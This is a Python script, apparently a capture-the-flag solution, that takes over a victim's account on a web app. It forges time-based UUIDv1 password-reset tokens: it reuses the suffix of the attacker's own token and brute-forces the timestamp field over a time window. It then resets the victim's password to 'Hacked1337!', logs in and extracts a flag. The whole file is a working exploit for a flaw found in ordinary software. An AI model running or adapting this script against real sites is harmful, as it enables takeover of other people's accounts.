import argparse
import re
import time
import requests
from urllib.parse import urljoin

def split_token(tok: str):
    """Splits the UUIDv1 into sections"""
    p = tok.strip().lower().split("-")
    if len(p) != 5:
        raise ValueError("Bad token format")
    return p[1], p[2], p[3], p[4]

def make_token(ts: int, sfx):
    """Forges the UUIDv1 password reset token by forging time_low filed of UUIDv1"""
    return f"{ts & 0xffffffff:08x}-{sfx[0]}-{sfx[1]}-{sfx[2]}-{sfx[3]}"

ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True, help="e.g. http://localhost:8000")
ap.add_argument("--known-token", required=True, help="token from your own reset email")
ap.add_argument("--victim-email", default="blackhole@dragonsec.si")
ap.add_argument("--new-password", default="Hacked1337!")
ap.add_argument("--window", type=int, default=300, help="seconds to brute backwards")
args = ap.parse_args()

base = args.url.rstrip("/") + "/"
s = requests.Session()

suffix = split_token(args.known_token)

# 1) Create a fresh victim reset token now
s.post(
    urljoin(base, "request-reset"),
    data={"email": args.victim_email},
    allow_redirects=False,
    timeout=10,
)

# 2) Brute candidate tokens around current time
now = int(time.time())
found = None
for ts in range(now + 5, now - args.window - 1, -1):
    tok = make_token(ts, suffix)
    r = s.post(
        urljoin(base, "reset-password"),
        data={
            "email": args.victim_email,
            "token": tok,
            "new_password": args.new_password,
        },
        allow_redirects=False,
        timeout=10,
    )
    if r.status_code == 302 and "/login" in r.headers.get("Location", ""):
        found = tok
        print(f"[+] Valid token: {tok}")
        break
if not found:
    print("[-] Token not found. Increase --window and retry.")
    raise SystemExit(1)

# 3) Login as victim and extract flag
r = s.post(
    urljoin(base, "login"),
    data={"email": args.victim_email, "password": args.new_password},
    allow_redirects=True,
    timeout=10,
)
m = re.search(r"<code>([^<]+)</code>", r.text)
if m:
    print(f"[+] FLAG: {m.group(1)}")
else:
    print("[!] Login attempted; flag not found in response.")
